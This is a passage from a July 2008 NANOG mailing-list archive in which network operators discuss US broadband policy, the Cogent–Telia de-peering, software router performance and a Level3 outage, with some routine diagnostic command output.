invasion. The same trick got science funded for a while... :-) From LarrySheldon at cox.net Mon Jul 28 09:08:17 2008 From: LarrySheldon at cox.net (Laurence F. Sheldon, Jr.) Date: Mon, 28 Jul 2008 09:08:17 -0500 Subject: So why don't US citizens get this? In-Reply-To: <20080728135431.66982.qmail@simone.iecc.com> References: <20080728135431.66982.qmail@simone.iecc.com> Message-ID: <488DD2D1.4000905@cox.net> > Oh, but that's different. They were important. What is the key criterion here for identifying odious off topic correspondents and the public naming thereof? From Rod.Beck at hiberniaatlantic.com Mon Jul 28 09:19:30 2008 From: Rod.Beck at hiberniaatlantic.com (Rod Beck) Date: Mon, 28 Jul 2008 15:19:30 +0100 Subject: So why don't US citizens get this? References: <20080728135431.66982.qmail@simone.iecc.com> <6CC676EB-E2A7-421D-ADDF-E7A85F9D4E8A@pando.com> Message-ID: Well, to be exact, there was the political will to get the job done and a more pragmatic approach than we see today in the States. The interstate highway was created by the Federal goverment, not the private sector. And although the difficulties in moving troops in WWII was an issue, everyone recognized that a great nation requires a modern transportation. Similarly, one does not need a car in France - there is a seamless tram, metro, regional railroad, intercity and international train system. Political will, not private enterprise. The Europeans took a more pragmatic to broadband whereas the Yanks (and I am one) got bogged down into ideological battles over private property, etc. The Asians were also pragmatic. Asian governments told the private sector (incumbents) that they had moral obligation to provide broadband and they did it. Regards, Roderick S. Beck Director of European Sales Hibernia Atlantic 13-15, rue Sedaine, 75011 Paris http://www.hiberniaatlantic.com Wireless: 1-212-444-8829. French Wireless: 33-6-14-33-48-97. AOL Messenger: GlobalBandwidth rod.beck at hiberniaatlantic.com rodbeck at erols.com ``Unthinking respect for authority is the greatest enemy of truth.'' Albert Einstein. From mcgrath at fas.harvard.edu Mon Jul 28 09:37:09 2008 From: mcgrath at fas.harvard.edu (Scott McGrath) Date: Mon, 28 Jul 2008 10:37:09 -0400 Subject: So why don't US citizens get this? In-Reply-To: <6CC676EB-E2A7-421D-ADDF-E7A85F9D4E8A@pando.com> References: <20080728135431.66982.qmail@simone.iecc.com> <6CC676EB-E2A7-421D-ADDF-E7A85F9D4E8A@pando.com> Message-ID: <488DD995.8070308@fas.harvard.edu> Actually ubiquitous power came from a government mandate and funding known as the Rural Electrification Act. The former Bell system left many areas of the country without telephone service and the same act set up the "Rural Telco's" to this day I am served by "Kearsarge Telephone Co" at home which serves a large chunk of Central NH. Ultimately the 'Market' always fails in corner cases and Government in the form of regulation and sometimes funding needs to step in as human nature never changes and greed still dominates in the end not so much that these areas are unprofitable to service it's just that with the same investment more money can be made elsewhere. From a accounting standpoint this is rational behavior from a societal standpoint this behavior is counterproductive. Government is not 'The Answer" as many people feel but it does have a valuable role in balancing financial and societal needs. One of the societal needs today is reasonably priced high speed internet otherwise the US will fall behind in developing next generation network services as low speed DSL simply does not get the job done reasonably priced does not mean $100US for a 384/768 "Business DSL" which is the only thing I can run VPN over. This infrastructure is important today as electricity was in the 20's and 30's Laird Popkin wrote: > > On Jul 28, 2008, at 9:54 AM, John Levine wrote: > >> In article <2B12539A-2240-455C-9CE4-06F1DFA94E00 at eyeconomics.com> you >> write: >>> Sort of makes one wonder how the US came to have ubiquitous roads, or >>> power, or water distribution... >> >> Oh, but that's different. They were important. > > Or, to be more specific, people everywhere need power and water and > were willing to pay for them, so other people started companies to > provide them everywhere. Roads are a little more complicated - the > basic roads were there due to demand, but the highways got built > because the Army argued that without highways they couldn't move > troops and supplies to defend the country in case of an invasion. The > same trick got science funded for a while... :-) From jbates at brightok.net Mon Jul 28 09:37:24 2008 From: jbates at brightok.net (Jack Bates) Date: Mon, 28 Jul 2008 09:37:24 -0500 Subject: So why don't US citizens get this? In-Reply-To: References: Message-ID: <488DD9A4.7060904@brightok.net> michael.dillon at bt.com wrote: > FTTC is far more interesting that FTTH, because it is not just a > technology buzzword driven idea, but one based on economics. It is > cheaper to rollout a nice high bandwidth fiber link to most > neighborhoods than to use that fat bundle of copper pairs. But, on the > other hand, it is cheaper to leave that last quarter-mile intact and > only build out fiber where new development is being done. > It is cheaper to bore fiber and attach more remote systems than to use the already existing copper? I'm curious how you come up with those economics. (seriously, that wasn't sarcasm) > So the real question that is much more interesting is as follows: > Does the US lag the world in high-speed fiber to the cabinet (FTTC)? Good question. I'd say my little backwoods part of the world is roughly 10% FTTC, probably less. > Don't let the copper thieves know where you live. They might show up one > nice Sunday morning bright and early to clean out the county's copper > wire. When I lived in British Columbia, Canada in teh 90's, I noticed > that our incumbent telco was well ahead of the game. They were putting > up fiber everywhere and then following up by cutting the fat copper > cables into sections for recovery of the metal. They even ran fibre into > remote valleys were there were only a few dozen families and it was > probably economically worthwhile because they recovered a higher dollar > value of copper from those remote locations. Yeah, mom was a little aggravated that she lost her connectivity in the valley out in El Salvador because one weekend thieves stole the entire stretch of copper down the mountain off the poles. >> Still I beleve is interesting to analyze why the US is >> lagging behind on high speed services. > > Analysis paralysis perhaps? AKA bipartisan politics. I have a high speed cable competitor here in town. They love sucking up the competitive profits in town. Of course, our plant footprint by law is about 20 times theirs. They weren't required to service pop and his cows 20 miles out where you'll never catch up on costs. Estimated population is roughly 5-6k. I've heard similar issues with CLEC's in small population areas. They suck up the profitable areas, and stay out of the areas where you will *never* recover your money. This was the whole point of regulation to begin with in my opinion; to ensure that every household had a phone line, even if it lost money. Of course, who cares about the rural areas. They always get the fallout from regulation changes made with the big cities in mind. If the want fiber to every home, they'll either have to up their incentives or remove the competition to average out profits. Forcing competition to the same requirements as the incumbent should effectively kill them off in the rural exchanges and keep them in the big cities. The last I checked, NTT didn't have to compete for their high profit areas while losing money on the fringes (I presume Japan still has SOME rural areas?). Jack From auser at mind.net Mon Jul 28 09:41:52 2008 From: auser at mind.net (S. Ryan) Date: Mon, 28 Jul 2008 07:41:52 -0700 Subject: [Fwd: Admin: Offtopic Political Threads] Message-ID: <488DDAB0.10605@mind.net> Did you all forget this? -------- Original Message -------- Subject: Admin: Offtopic Political Threads Date: Mon, 28 Jul 2008 09:29:24 +1200 (NZST) From: Simon Lyall To: nanog at nanog.org List members are reminder that the NANOG List Acceptable Use Policy states that: 6. Postings of political, philosophical, and legal nature are prohibited. The current thread on the "Free Market" and "So why don't US citizens get this?" appears to be solely political and should be moved elsewhere. Simon Lyall NANOG Mailing List Committee The above is a "reminder" regarding desired emails to the NANOG mailing list from the Mailing List Committee (MLC). While it does not constitute a "Formal Warning" it is an official correspondence from the MLC after internal consultation. Please contact admins at nanog.org if you have any feedback From mcgrath at fas.harvard.edu Mon Jul 28 09:55:49 2008 From: mcgrath at fas.harvard.edu (Scott McGrath) Date: Mon, 28 Jul 2008 10:55:49 -0400 Subject: [Fwd: Admin: Offtopic Political Threads] In-Reply-To: <488DDAB0.10605@mind.net> References: <488DDAB0.10605@mind.net> Message-ID: <488DDDF5.7020905@fas.harvard.edu> To a degree yes - This issue revolves around the inability to provide end-to-end network services due to artificial constraints in the last mile. At our shop we call it "Troubleshooting the Internet" when one of our customers cannot use a service which we provide and in too many cases it involves the last mile and the only fix is to upgrade to Frac T1 or "Business Class" services. - Scott S. Ryan wrote: > Did you all forget this? > > -------- Original Message -------- > Subject: Admin: Offtopic Political Threads > Date: Mon, 28 Jul 2008 09:29:24 +1200 (NZST) > From: Simon Lyall > To: nanog at nanog.org > > > List members are reminder that the NANOG List Acceptable Use Policy > states that: > > 6. Postings of political, philosophical, and legal nature are > prohibited. > > The current thread on the "Free Market" and "So why don't US citizens get > this?" appears to be solely political and should be moved elsewhere. > > Simon Lyall > NANOG Mailing List Committee > > > The above is a "reminder" regarding desired emails to the NANOG mailing > list from the Mailing List Committee (MLC). While it does not constitute > a "Formal Warning" it is an official correspondence from the MLC after > internal consultation. > > Please contact admins at nanog.org if you have any feedback > > > > From r.hyunseog at ieee.org Mon Jul 28 10:08:36 2008 From: r.hyunseog at ieee.org (Hyunseog Ryu) Date: Mon, 28 Jul 2008 10:08:36 -0500 Subject: So why don't US citizens get this? In-Reply-To: <2B12539A-2240-455C-9CE4-06F1DFA94E00@eyeconomics.com> References: <2C28A764789D@xult.org> <202705b0807280506q1819ed2bncd75fc7e213fa0c6@mail.gmail.com> <2B12539A-2240-455C-9CE4-06F1DFA94E00@eyeconomics.com> Message-ID: <488DE0F4.6030201@ieee.org> I think it is simply the matter of ROI - Return on Investment - issue. I'm still living in the area without city water, and when there is power outage, I don't have water at all since my water pump still needs electricity. But some rural area has FTTH because of government funding RUS (http://www.usda.gov/rus/) project. And most of urban area, people are still happy with cable modem service. People in Japan and South Korea are more of tendency to become early-adapters. So when they have new products, they wants to try it by majority. But in U.S., we are still cost oriented, and if we don't need it, we don't buy it. ^^ That's my 2 cents. Hyun Tom Vest wrote: > Sort of makes one wonder how the US came to have ubiquitous roads, or > power, or water distribution... > > TV > > On Jul 28, 2008, at 1:06 PM, Jorge Amodio wrote: > >> Lets put aside for a moment the conspiracy theories of government >> intervention and >> the telcos evil doing, IMHO there is a simple reason why I don't have >> fiber >> going >> to my house: geography & economics. >> >> Japan: >> - area = 377,873 Km^2 >> - density = 337/Km^2 >> - pop = 127.5 mill >> >> USA:: >> - area = 9,826,630 Km^2 >> - density = 31/Km^2 >> - pop = 304.7 mill >> >> I belive there are just few major cities in the US that have a >> comparable or >> higher >> concentration of people like other large cities around the world. >> >> I'd bet that if you deploy fiber in a given radious in a suburban >> area in >> Japan you >> may reach hundreds or thousands of potential customers, do the same a >> little >> bit >> north from where I live and you will reach a dozen guys, 50 cows and a >> couple of >> hundred chickens. >> >> The US is so spread out that anything to do with transportation, being >> people, >> packages, or ip packets becomes quite costly. >> >> Still I beleve is interesting to analyze why the US is lagging behind on >> high speed >> services. >> >> My .02 > > > > From nancyp at yorku.ca Mon Jul 28 10:12:22 2008 From: nancyp at yorku.ca (nancyp at yorku.ca) Date: Mon, 28 Jul 2008 11:12:22 -0400 Subject: Off topic - RE: So why don't US citizens get this? Message-ID: <1217257942.488de1d6b0ec0@mymail.yorku.ca> Grad Student thesis rsrch one page: comments welcome ;) however I have my good comments filter on... Is Internet Reachability a Net Neutrality Issue? ----CRTC Chairperson Konrad von Finckenstein introduced Net Neutrality in his speech to the 2007 Broadcasting Invitational Summit and again at the 2008 Canadian Telecom Summit mentioning that the CRTC's New Media Initiative will include "striking a social, cultural and economic balance to deal with Internet traffic prioritization". ----Traffic prioritization or traffic shaping is a small part of the entire concept of a neutral network. ----The internet has no minimum standard of acceptable performance for reachability of websites and data. As an information tool it becomes useless without this reachability addressed as far as possible. ----The most famous example of non-neutrality in Canada occurred during the Telus labour dispute (2005). Telus blocked access to a pro-union site by blocking the server on which it was hosted. Researchers at Harvard, Cambridge and the University of Toronto (OpenNet Initiative) found that Telus?s actions resulted in an additional 766 unrelated sites also being blocked for subscribers. Dealing with blocking access to servers and blocking access to other networks are very important aims of a neutral internet. ----Example: A York University professor was sitting at his desk at work in March 2008 trying to reach an internet website located somewhere in Europe. It was important to his research so when he repeatedly could not reach the site he contacted his IT department at the University. They were mystified why this would be the case. The Professor went home after work and found that he could reach the website from home consistently, for many days and was not ever able to reach the website from the University campus network.York?s bandwidth supplier is Cogent which had severed a peering relationship with a bandwidth provider in Europe called Telia, which was the bandwidth network provider for the website that the Professor was trying to reach. However at home, the Professor purchased bandwidth from Rogers (and its upstream providers) who did not sever their peering relationship with Telia. Cogent did not proactively inform the University of the issue and the loss of connectivity. Unreachability due to arbitrariness in network peering is unacceptable. ----Parts of the internet become unreachable for a great many reasons such as line failure, cable cuts, misconfiguration of equipment and human error but to add significantly and deliberately to this unreachability due to arbitrariness in peering is unacceptable. End users whether award winning scholars, backyard astronomers or teenage scientists require as much reachability of data as the technology will allow. Political and economic persuasions should not be permitted to condition and alter the media or the content. ----Recommendation: Bandwidth purchase agreements (Service Level Agreements) that specify bandwidth, uptime and cost actually define connectivity thus they should contain a list of peers or network interconnections that will be maintained for the length of the agreement. Prepared by Nancy Paterson, York University July 23, 2008 nancyp at yorku.ca PS anyone willing to proof read a few technical pages of thesis paper? pls contact off list From ww at styx.org Mon Jul 28 10:24:54 2008 From: ww at styx.org (William Waites) Date: Mon, 28 Jul 2008 17:24:54 +0200 Subject: Arbitrary de-peering In-Reply-To: <1217257942.488de1d6b0ec0@mymail.yorku.ca> References: <1217257942.488de1d6b0ec0@mymail.yorku.ca> Message-ID: <2E6BDF0F-4EE6-472A-A8DE-57E5568B6462@styx.org> Le 08-07-28 ? 17:12, nancyp at yorku.ca a ?crit : > ----Example: A York University professor was sitting at his desk at > work in > March 2008 trying to reach an internet website located somewhere in > Europe. > [...] York?s bandwidth supplier is Cogent which had severed a > peering relationship > with a bandwidth provider in Europe called Telia [...] which was the > bandwidth > network provider for the website that the Professor was trying to > reach. [...] > Cogent did not proactively inform the University of the issue and > the loss of > connectivity. Unreachability due to arbitrariness in network peering > is unacceptable. There must be more to this story. If Cogent de-peered from Telia the traffic would normally just have taken another path. Either there was a configuration error of some sort or else some sort of proactive black-holing on one side or the other. As the latter would be surprising and very heavy handed, I would tend to suspect the former. Peering relationships are made and severed all the time with no particular ill-effects, unless you can point to examples of outright malice (i.e. of the black- holing kind) I don't think there is much basis for any public policy decisions in this example. Unreachability due to configuation error is of course relatively common; perhaps I am wrong, but I don't think the CRTC would really have much to say about that. Cheers, -w From patrick at ianai.net Mon Jul 28 10:29:57 2008 From: patrick at ianai.net (Patrick W. Gilmore) Date: Mon, 28 Jul 2008 11:29:57 -0400 Subject: Arbitrary de-peering In-Reply-To: <2E6BDF0F-4EE6-472A-A8DE-57E5568B6462@styx.org> References: <1217257942.488de1d6b0ec0@mymail.yorku.ca> <2E6BDF0F-4EE6-472A-A8DE-57E5568B6462@styx.org> Message-ID: <111B2355-EF43-4F92-8E66-DD9BFF81593F@ianai.net> On Jul 28, 2008, at 11:24 AM, William Waites wrote: > Le 08-07-28 ? 17:12, nancyp at yorku.ca a ?crit : > >> ----Example: A York University professor was sitting at his desk at >> work in >> March 2008 trying to reach an internet website located somewhere in >> Europe. >> [...] York?s bandwidth supplier is Cogent which had severed a >> peering relationship >> with a bandwidth provider in Europe called Telia [...] which was >> the bandwidth >> network provider for the website that the Professor was trying to >> reach. [...] >> Cogent did not proactively inform the University of the issue and >> the loss of >> connectivity. Unreachability due to arbitrariness in network >> peering is unacceptable. > > There must be more to this story. If Cogent de-peered from Telia the > traffic would > normally just have taken another path. One should check one's assumptions before posting to 10K+ of their not- so-close friends. Neither network has transit. What other path is there to take? Once you answer that, I'll read the rest of your e-mail. -- TTFN, patrick > Either there was a configuration error of some > sort or else some sort of proactive black-holing on one side or the > other. As the > latter would be surprising and very heavy handed, I would tend to > suspect the former. > > Peering relationships are made and severed all the time with no > particular ill-effects, > unless you can point to examples of outright malice (i.e. of the > black-holing kind) I > don't think there is much basis for any public policy decisions in > this example. > > Unreachability due to configuation error is of course relatively > common; perhaps I am > wrong, but I don't think the CRTC would really have much to say > about that. > > Cheers, > -w From christian at broknrobot.com Mon Jul 28 10:31:33 2008 From: christian at broknrobot.com (Christian Koch) Date: Mon, 28 Jul 2008 11:31:33 -0400 Subject: Arbitrary de-peering In-Reply-To: <2E6BDF0F-4EE6-472A-A8DE-57E5568B6462@styx.org> References: <1217257942.488de1d6b0ec0@mymail.yorku.ca> <2E6BDF0F-4EE6-472A-A8DE-57E5568B6462@styx.org> Message-ID: http://www.renesys.com/blog/2008/03/you_cant_get_there_from_here_1.shtml http://www.renesys.com/blog/2008/03/he_said_she_said_cogent_vs_tel.shtml http://www.renesys.com/blog/2008/03/telia_and_cogent_kiss_and_make_1.shtml On Mon, Jul 28, 2008 at 11:24 AM, William Waites wrote: > Le 08-07-28 ? 17:12, nancyp at yorku.ca a ?crit : > > ----Example: A York University professor was sitting at his desk at work >> in >> March 2008 trying to reach an internet website located somewhere in >> Europe. >> [...] York's bandwidth supplier is Cogent which had severed a peering >> relationship >> with a bandwidth provider in Europe called Telia [...] which was the >> bandwidth >> network provider for the website that the Professor was trying to reach. >> [...] >> Cogent did not proactively inform the University of the issue and the loss >> of >> connectivity. Unreachability due to arbitrariness in network peering is >> unacceptable. >> > > There must be more to this story. If Cogent de-peered from Telia the > traffic would > normally just have taken another path. Either there was a configuration > error of some > sort or else some sort of proactive black-holing on one side or the other. > As the > latter would be surprising and very heavy handed, I would tend to suspect > the former. > > Peering relationships are made and severed all the time with no particular > ill-effects, > unless you can point to examples of outright malice (i.e. of the > black-holing kind) I > don't think there is much basis for any public policy decisions in this > example. > > Unreachability due to configuation error is of course relatively common; > perhaps I am > wrong, but I don't think the CRTC would really have much to say about that. > > Cheers, > -w > From bmannella at teraswitch.com Mon Jul 28 10:25:47 2008 From: bmannella at teraswitch.com (Brendan Mannella) Date: Mon, 28 Jul 2008 11:25:47 -0400 (EDT) Subject: One Communications (Choice One) Message-ID: <822871861.98631217258747322.JavaMail.root@mail1.teraswitch.com> Just wondering if anyone from the One Communications Network Group is part of this list. Please contact me offlist if so. Brendan Mannella TeraSwitch Networks Inc. From justin.ream at tierzero.com Mon Jul 28 10:47:48 2008 From: justin.ream at tierzero.com (Justin Ream) Date: Mon, 28 Jul 2008 08:47:48 -0700 Subject: Anyone from Charter Communications? Message-ID: <7BC23C8B08EF1B4CA263105A8847BA20027538@DHOST001-55.DEX001.intermedia.net> Hi - I thought I'd ask here as it seems I'm not really going to get anywhere through the abuse desk. It involves a stolen laptop (company's) and certain dns requests that this certain stolen laptop would be making. -Justin From sdhillon at decarta.com Mon Jul 28 10:54:38 2008 From: sdhillon at decarta.com (Sargun Dhillon) Date: Mon, 28 Jul 2008 08:54:38 -0700 Subject: Software router state of the art In-Reply-To: <200807261307.m6QD7oel005598@aurora.sol.net> References: <200807261307.m6QD7oel005598@aurora.sol.net> Message-ID: <488DEBBE.20109@decarta.com> This is not exactly true. The modern Linux kernel (2.6) uses some amount of flow tracking in order to do route caching. You can check this out on your system by: "ip route show cache" It keeps track of Src/Dst/QoS/Ethernet adapters/etc.. Additionally most systems have the iptables modules loaded in kernel and the conntrack module in kernel. This immediately activates connection tracking, therefore considerably slowing down software routing. The most optimal way of speeding this up would be sticking the route cache into somewhat faster memory. Though it would be fairly nice to get rid of the route cache as that can cause problem with eccentric setups. Also, as cache entries take a moment to be deleted, or degrade leading to convergence times being higher. Joe Greco wrote: >> On Sat, Jul 26, 2008, Florian Weimer wrote: >> >>> Was this with one packet flow, or with millions of them? >>> >> I believe it was >1 flow. The guy is using an Ixia; I don't know how >> he has it configured. >> >> >>> Traditionally, software routing performance on hosts systems has been >>> optimized for few and rather long flows. >>> >> Yup. >> >> And I always ask that question when people claim really high(!) throughput on >> software forwarding. It turns out their throughput was single source/single >> dest, and/or large packets (so high throughput, but low pps.) >> > > I'm not sure where the claims about "{one, few} flow{s}" are coming from. > Certainly the number of flows on a typical UNIX box acting as a router is > not that relevant unless you specifically configure something like > stateful firewalling, because the typical UNIX box simply doesn't have a > *concept* of "flows." It deals with packets. This has its own problems, > of course, but handling high levels of traffic in many flows is not one of > them. > > There are other software routing platforms that DO flows, but the above > mentions "host[s] systems", so I'm reading that as "UNIX router." > > On the flip side, packet size is definitely a consideration. This topic > has been beaten to death on the Zebra mailing lists by myself and others > in the past. > > With yesterday's technology (P4 3.0G, 512MB RAM, PCI-X, FreeBSD 4) we were > successfully dealing with >300Kpps about 3 years ago, without substantial > work. That was single source/single dest, but with a full routing table. > There's no real optimization for that within the FreeBSD framework, so it > is about the same performance you'd have gotten with multi source/multi > dest. > > ... JG > -- +1.925.202.9485 Sargun Dhillon deCarta sdhillon at decarta.com www.decarta.com From ww at styx.org Mon Jul 28 10:54:45 2008 From: ww at styx.org (William Waites) Date: Mon, 28 Jul 2008 17:54:45 +0200 Subject: Arbitrary de-peering In-Reply-To: <111B2355-EF43-4F92-8E66-DD9BFF81593F@ianai.net> References: <1217257942.488de1d6b0ec0@mymail.yorku.ca> <2E6BDF0F-4EE6-472A-A8DE-57E5568B6462@styx.org> <111B2355-EF43-4F92-8E66-DD9BFF81593F@ianai.net> Message-ID: <37F98BA4-6F4B-438A-BBDE-6B7AD58E26F0@styx.org> Le 08-07-28 ? 17:29, Patrick W. Gilmore a ?crit : > > One should check one's assumptions before posting to 10K+ of their > not-so-close friends. Firstly I missed the actual incident since I was off the 'net for an extended period about that time, so apologies for any rehash. > Neither network has transit. What other path is there to take? http://www.renesys.com/blog/2008/03/he_said_she_said_cogent_vs_tel.shtml "Then Cogent de-peered Telia and suddenly Verizon and others started providing a path between the two and their respective customers." Which is as it should be. Then somebody (not clear who) apparently took explicit steps to stop the traffic from taking these other paths. Surprising. Severing a peering relationship is one thing, purposely filtering large swathes of the Internet over other all links is quite another. As I said, this is surprising behaviour, but not simple de-peering. And I'm sure that any Tier 1 has enough peering relationships with enough other Tier 1 networks that they can always buy temporary transit privileges over an existing link. -w From up at 3.am Mon Jul 28 10:58:59 2008 From: up at 3.am (up at 3.am) Date: Mon, 28 Jul 2008 11:58:59 -0400 (EDT) Subject: Level3 newyork - london, anyone else seeing issues? In-Reply-To: <8048921E-2B05-4428-A313-09A156A6D66C@gmail.com> References: <8048921E-2B05-4428-A313-09A156A6D66C@gmail.com> Message-ID: We saw an outage from 7:35am to 8:14am (partially back up) 8:20 (fully up) on 7/24. I was on the phone with Level 3 at the time. A tech was supposed to get back to me with an explanation so I could pass that on to my customers, but it never happened. On Sat, 26 Jul 2008, John Menerick wrote: > I was seeing the same thing around the same time. However, the "issue" > corrected itself after 10 minutes. Not quite long enough to get Level3 > support on the phone. Support's answer: "OOps, our bad....." > > > John Menerick > http://www.icehax.us > twitter: aeonice > aim: glacilwing > > > On Jul 25, 2008, at 6:13 AM, Drew Weaver wrote: > >> C:\Users\aweaver>tracert 123.237.32.1 >> >> Tracing route to 123.237.32.1 over a maximum of 30 hops >> >> 5 5 ms 5 ms 5 ms ae-2-6.bar2.Cleveland1.Level3.net >> [4.69.132.202] >> 6 5 ms 4 ms 4 ms ae-0-11.bar1.Cleveland1.Level3.net >> [4.69.136.185] >> 7 13 ms 17 ms 17 ms ae-6-6.ebr1.Washington1.Level3.net >> [4.69.136.190] >> 8 16 ms 16 ms 17 ms ae-91-91.csw4.Washington1.Level3.net >> [4.69.134.142] >> 9 15 ms 17 ms 17 ms ae-93-93.ebr3.Washington1.Level3.net >> [4.69.134.173] >> 10 22 ms 18 ms 18 ms ae-3.ebr3.NewYork1.Level3.net [4.69.132.90] >> 11 30 ms 18 ms 18 ms ae-63-63.csw1.NewYork1.Level3.net >> [4.69.134.98] >> 12 18 ms 19 ms 19 ms ae-13-69.car3.NewYork1.Level3.net >> [4.68.16.5] >> 13 * * * Request timed out. >> 14 * * * Request timed out. >> 15 * * * Request timed out. >> 16 * * * Request timed out. >> 17 * * * Request timed out. >> 18 * * * Request timed out. >> 19 * * * Request timed out. >> 20 * * * Request timed out. >> 21 * * * Request timed out. >> 22 * * * Request timed out. >> 23 * * * Request timed out. >> 24 * * * Request timed out. >> 25 * * * Request timed out. >> 26 * * * Request timed out. >> 27 * * * Request timed out. >> 28 * * * Request timed out. >> 29 * * * Request timed out. >> 30 * * * Request timed out. >> >> Looks like it began occurring around 4am. We're getting reports from some >> international users that they are unable to reach destinations within our >> network. >> >> -Drew >> > > James Smallacombe PlantageNet, Inc. CEO and Janitor up at 3.am http://3.am ========================================================================= From jgreco at ns.sol.net Mon Jul 28 11:07:46 2008 From: jgreco at ns.sol.net (Joe Greco) Date: Mon, 28 Jul 2008 11:07:46 -0500 (CDT) Subject: Software router state of the art In-Reply-To: <488DEBBE.20109@decarta.com> from "Sargun Dhillon" at Jul 28, 2008 08:54:38 AM Message-ID: <200807281607.m6SG7k5d098053@aurora.sol.net> > This is not exactly true. The modern Linux kernel (2.6) uses some amount > of flow tracking in order to do route caching. You can check this out on > your system by: > "ip route show cache" Okay... # ip route show cache ip: Command not found. # So I guess that's all well and good for me. > It keeps track of Src/Dst/QoS/Ethernet adapters/etc.. Additionally most > systems have the iptables modules loaded in kernel and the conntrack > module in kernel. This immediately activates connection tracking, > therefore considerably slowing down software routing. The most optimal > way of speeding this up would be sticking the route cache into somewhat > faster memory. Though it would be fairly nice to get rid of the route > cache as that can cause problem with eccentric setups. Also, as cache > entries take a moment to be deleted, or degrade leading to convergence > times being higher. Note .. to .. self .. Linux .. makes .. crappy .. router. Got it. Guess we'll continue to use FreeBSD, and the lesson to come away with is that it probably pays to avoid technologies that are suboptimal for the task at hand. Not everything is created equal. It also pays to tune things. If "conntrack" hurts, then remove it. With the emergence of computers with many cores, it will be very interesting to see how this develops. ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net "We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again." - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. From michael.dillon at bt.com Mon Jul 28 11:13:22 2008 From: michael.dillon at bt.com (michael.dillon at bt.com) Date: Mon, 28 Jul 2008 17:13:22 +0100 Subject: So why don't US citizens get this? In-Reply-To: <488DD9A4.7060904@brightok.net> Message-ID: > It is cheaper to bore fiber and attach more remote systems > than to use the already existing copper? I'm curious how you > come up with those economics. > (seriously, that wasn't sarcasm) First point is that you can sell the copper. Second is that you can reduce the number of local loop faults because the local loop is digital to the fiber cabinets. Local loop faults seem to be a major cause of overtime work in telcos. The cause of the faults is numerous including stretched copper, cracked insulation, moisture in the bundles, rodents, etc. Have you ever seen the huge bundles of copper wires that come into a telephone exchange? Once you have seen this in person and you understand the complexity of cutting those loops, and splicing, and recutting, and resplicing over many decades, then you will see where it might be cheaper overall to just replace them with OC48 over fiber. Or GigE or whatever, but make it digital and make it go on glass fiber cables. > Yeah, mom was a little aggravated that she lost her > connectivity in the valley out in El Salvador because one > weekend thieves stole the entire stretch of copper down the > mountain off the poles. Here in London they even steel bronze statues or brass railings in a park to get the copper content. Here is one account of the risks that copper thieves will go to. Don't read it if you have a queasy stomach. > > Analysis paralysis perhaps? AKA bipartisan politics. > This was the whole point of regulation to begin with in my > opinion; to ensure that every household had a phone line, > even if it lost money. And the day will dawn when governments realize that the technology used to supply service is irrelevant, but everyone needs to have a reliable connection to the Internet. They may even mandate that every connection has to include an emergency voice service that is the old -48VDC POTS in disguise. Today the USA and the rest of the world is still in the pioneering experimental stage of figuring out what works. If Russia forges ahead with FTTH broadband everywhere, just watch how quickly you see bipartisan agreement in the USA. > Of course, who cares about the rural areas. Do you eat? Anyway there is history in the USA of treating rural areas as a apecial case such as the Rural Electrification programs. The rural people didn't need electricity and could have gotten on just fine without it as they had for centuries before. Even industrialised countries like Russia and Ukraine still have rural areas where there is essentially no electricity, or very occasional and unreliable electricity. Different countries choose different priorities, but over time there seems to be general convergence of all countries onto a basic set of modern services that they want to deliver to their entire population. Some things can be done with competitive markets, and other things cannot. It's all about figuring out which measures to apply to which problems, not about taking a political ideology like communism and forcing it upon every aspect of people's lives. That has been proven to not work and people who call for free-market everything need to realize that they are trodding the same wellworn path that communists travelled in the last century. Furthermore, most Americans alive today do not really remember what a free market was like. When was the last time you travelled in an unregulated cab, ate in an unregulated restaurant, etc.? Even this mailing list is attempting to impose constraints on the free market of network design and operations. Best practices become embodied in vendor products and even people who don't necessarily want to follow the best practices for good technical reasons, can't find the equipment to do it or the people who will build it differently. --Michael Dillon From repstein at chello.at Mon Jul 28 11:17:54 2008 From: repstein at chello.at (Randy Epstein) Date: Mon, 28 Jul 2008 12:17:54 -0400 Subject: Arbitrary de-peering In-Reply-To: <37F98BA4-6F4B-438A-BBDE-6B7AD58E26F0@styx.org> References: <1217257942.488de1d6b0ec0@mymail.yorku.ca><2E6BDF0F-4EE6-472A-A8DE-57E5568B6462@styx.org><111B2355-EF43-4F92-8E66-DD9BFF81593F@ianai.net> <37F98BA4-6F4B-438A-BBDE-6B7AD58E26F0@styx.org> Message-ID: > Which is as it should be. Then somebody (not clear who) apparently > took explicit steps to stop the traffic from taking these other paths. > Surprising. Severing a peering relationship is one thing, purposely > filtering large swathes of the Internet over other all links is quite > another. > As I said, this is surprising behaviour, but not simple de-peering. > And I'm sure that any Tier 1 has enough peering relationships with enough > other Tier 1 networks that they can always buy temporary transit > privileges over an existing link. This is not surprising at all. One of the networks making arrangements to purchase transit immediately may help the customers of both networks in the short term, but the reality is that peering problem still exists and it immediately shows a weakness on one side. If they're willing to pay, they may agree to peering with settlements as well or just continue to buy transit. No transit free network is going to allow this to happen. It is in their best interest to make the de-peering as painful as possible to get a quicker resolution that satisfies both parties. Maybe not the greatest analogy, but think labor strikes and scabs (temporary workers willing to cross the picket line). If there were no repercussions to allowing scab workers to cross a picket line (lack of training leading to mistakes/accidents, pressure placed by the unions, negative publicity causing customers to boycott the company, etc), then unions wouldn't exist, or at least wouldn't have the strength needed to put the issue to rest as quickly as possible. When your customers (and the other networks customers) are complaining, the issue gets resolved much quicker. The Telia/Cogent depeering went longer than most, but it usually gets the job done. >-w Randy From jlewis at lewis.org Mon Jul 28 11:27:18 2008 From: jlewis at lewis.org (Jon Lewis) Date: Mon, 28 Jul 2008 12:27:18 -0400 (EDT) Subject: Arbitrary de-peering In-Reply-To: <37F98BA4-6F4B-438A-BBDE-6B7AD58E26F0@styx.org> References: <1217257942.488de1d6b0ec0@mymail.yorku.ca> <2E6BDF0F-4EE6-472A-A8DE-57E5568B6462@styx.org> <111B2355-EF43-4F92-8E66-DD9BFF81593F@ianai.net> <37F98BA4-6F4B-438A-BBDE-6B7AD58E26F0@styx.org> Message-ID: On Mon, 28 Jul 2008, William Waites wrote: >> Neither network has transit. What other path is there to take? Bit bucket path. > http://www.renesys.com/blog/2008/03/he_said_she_said_cogent_vs_tel.shtml > > "Then Cogent de-peered Telia and suddenly Verizon and others started > providing a path > between the two and their respective customers." > > Which is as it should be. Then somebody (not clear who) apparently took > explicit steps to stop the traffic from taking these other 